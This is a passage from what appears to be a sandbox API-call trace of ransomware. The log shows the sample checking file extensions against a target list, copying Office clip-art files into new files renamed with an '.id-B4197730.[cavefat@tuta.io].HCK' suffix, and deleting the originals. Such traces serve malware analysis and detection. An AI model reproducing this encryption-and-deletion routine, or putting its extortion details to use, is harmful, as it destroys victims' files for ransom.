lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.509] lstrlenW (lpString=".xls") returned 4 [0169.509] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.509] lstrlenW (lpString=".xlsx") returned 5 [0169.509] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0169.509] lstrlenW (lpString=".ppt") returned 4 [0169.509] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.509] lstrlenW (lpString=".zip") returned 4 [0169.509] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.509] lstrlenW (lpString=".rar") returned 4 [0169.509] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString=".bz2") returned 4 [0169.510] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString=".7z") returned 3 [0169.510] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".dbf") returned 4 [0169.510] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".1cd") returned 4 [0169.510] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".jpg") returned 4 [0169.510] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".doc") returned 4 [0169.510] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString=".docx") returned 5 [0169.510] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0169.510] lstrlenW (lpString=".pdf") returned 4 [0169.510] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString=".xls") returned 4 [0169.510] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString=".xlsx") returned 5 [0169.510] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0169.510] lstrlenW (lpString=".ppt") returned 4 [0169.510] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".zip") returned 4 [0169.510] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString=".rar") returned 4 [0169.510] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.510] lstrlenW (lpString=".bz2") returned 4 [0169.510] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString=".7z") returned 3 [0169.510] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".dbf") returned 4 [0169.510] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".1cd") returned 4 [0169.510] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.510] lstrlenW (lpString=".jpg") returned 4 [0169.510] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.510] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.510] lstrlenW (lpString="J0178460.JPG") returned 12 [0169.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.513] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=26531) returned 1 [0169.513] CloseHandle (hObject=0x330) returned 1 [0169.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 0x220 [0169.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.521] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.531] GetLastError () returned 0x0 [0169.531] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x67a3, lpOverlapped=0x0) returned 1 [0169.534] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0169.535] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.535] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.535] SetEndOfFile (hFile=0x39c) returned 1 [0169.537] CloseHandle (hObject=0x39c) returned 1 [0169.540] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.540] SetEndOfFile (hFile=0x368) returned 1 [0169.542] CloseHandle (hObject=0x368) returned 1 [0169.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0169.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.549] lstrlenW (lpString=".doc") returned 4 [0169.549] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.549] lstrlenW (lpString=".docx") returned 5 [0169.549] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0169.549] lstrlenW (lpString=".pdf") returned 4 [0169.549] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.549] lstrlenW (lpString=".xls") returned 4 [0169.550] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".xlsx") returned 5 [0169.550] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0169.550] lstrlenW (lpString=".ppt") returned 4 [0169.550] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".zip") returned 4 [0169.550] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".rar") returned 4 [0169.550] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".bz2") returned 4 [0169.550] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.550] lstrlenW (lpString=".7z") returned 3 [0169.550] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".dbf") returned 4 [0169.550] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".1cd") returned 4 [0169.550] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".jpg") returned 4 [0169.550] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".doc") returned 4 [0169.550] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.550] lstrlenW (lpString=".docx") returned 5 [0169.550] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0169.550] lstrlenW (lpString=".pdf") returned 4 [0169.550] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".xls") returned 4 [0169.550] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".xlsx") returned 5 [0169.550] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0169.550] lstrlenW (lpString=".ppt") returned 4 [0169.550] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.550] lstrlenW (lpString=".zip") returned 4 [0169.550] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".rar") returned 4 [0169.550] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.550] lstrlenW (lpString=".bz2") returned 4 [0169.550] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.550] lstrlenW (lpString=".7z") returned 3 [0169.551] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.551] lstrlenW (lpString=".dbf") returned 4 [0169.551] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.551] lstrlenW (lpString=".1cd") returned 4 [0169.551] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0169.551] lstrlenW (lpString=".jpg") returned 4 [0169.551] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.551] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.551] lstrlenW (lpString="J0178932.JPG") returned 12 [0169.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.560] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=35340) returned 1 [0169.560] CloseHandle (hObject=0x398) returned 1 [0169.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 0x220 [0169.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.574] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.574] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.586] GetLastError () returned 0x0 [0169.586] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8a0c, lpOverlapped=0x0) returned 1 [0169.589] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8a10, lpOverlapped=0x0) returned 1 [0169.590] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.590] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.590] SetEndOfFile (hFile=0x39c) returned 1 [0169.598] CloseHandle (hObject=0x39c) returned 1 [0169.601] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.601] SetEndOfFile (hFile=0x368) returned 1 [0169.604] CloseHandle (hObject=0x368) returned 1 [0169.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0169.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.613] lstrlenW (lpString=".doc") returned 4 [0169.613] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.613] lstrlenW (lpString=".docx") returned 5 [0169.613] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0169.613] lstrlenW (lpString=".pdf") returned 4 [0169.613] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.613] lstrlenW (lpString=".xls") returned 4 [0169.613] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.613] lstrlenW (lpString=".xlsx") returned 5 [0169.613] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0169.613] lstrlenW (lpString=".ppt") returned 4 [0169.613] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.613] lstrlenW (lpString=".zip") returned 4 [0169.613] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.613] lstrlenW (lpString=".rar") returned 4 [0169.613] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.613] lstrlenW (lpString=".bz2") returned 4 [0169.613] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.613] lstrlenW (lpString=".7z") returned 3 [0169.613] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".dbf") returned 4 [0169.614] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".1cd") returned 4 [0169.614] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".jpg") returned 4 [0169.614] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".doc") returned 4 [0169.614] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString=".docx") returned 5 [0169.614] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0169.614] lstrlenW (lpString=".pdf") returned 4 [0169.614] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.614] lstrlenW (lpString=".xls") returned 4 [0169.614] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.614] lstrlenW (lpString=".xlsx") returned 5 [0169.614] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0169.614] lstrlenW (lpString=".ppt") returned 4 [0169.614] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".zip") returned 4 [0169.614] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.614] lstrlenW (lpString=".rar") returned 4 [0169.614] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.614] lstrlenW (lpString=".bz2") returned 4 [0169.614] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString=".7z") returned 3 [0169.614] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".dbf") returned 4 [0169.614] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".1cd") returned 4 [0169.614] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0169.614] lstrlenW (lpString=".jpg") returned 4 [0169.614] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.615] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.615] lstrlenW (lpString="J0182898.WMF") returned 12 [0169.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.631] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=15150) returned 1 [0169.631] CloseHandle (hObject=0x378) returned 1 [0169.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 0x220 [0169.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.652] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.652] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.690] GetLastError () returned 0x0 [0169.690] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3b2e, lpOverlapped=0x0) returned 1 [0169.694] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0169.694] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.694] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.695] SetEndOfFile (hFile=0x354) returned 1 [0169.700] CloseHandle (hObject=0x354) returned 1 [0169.704] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.704] SetEndOfFile (hFile=0x39c) returned 1 [0169.709] CloseHandle (hObject=0x39c) returned 1 [0169.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0169.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.719] lstrlenW (lpString=".doc") returned 4 [0169.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.719] lstrlenW (lpString=".docx") returned 5 [0169.719] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.719] lstrlenW (lpString=".pdf") returned 4 [0169.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.719] lstrlenW (lpString=".xls") returned 4 [0169.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.719] lstrlenW (lpString=".xlsx") returned 5 [0169.719] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.719] lstrlenW (lpString=".ppt") returned 4 [0169.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".zip") returned 4 [0169.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 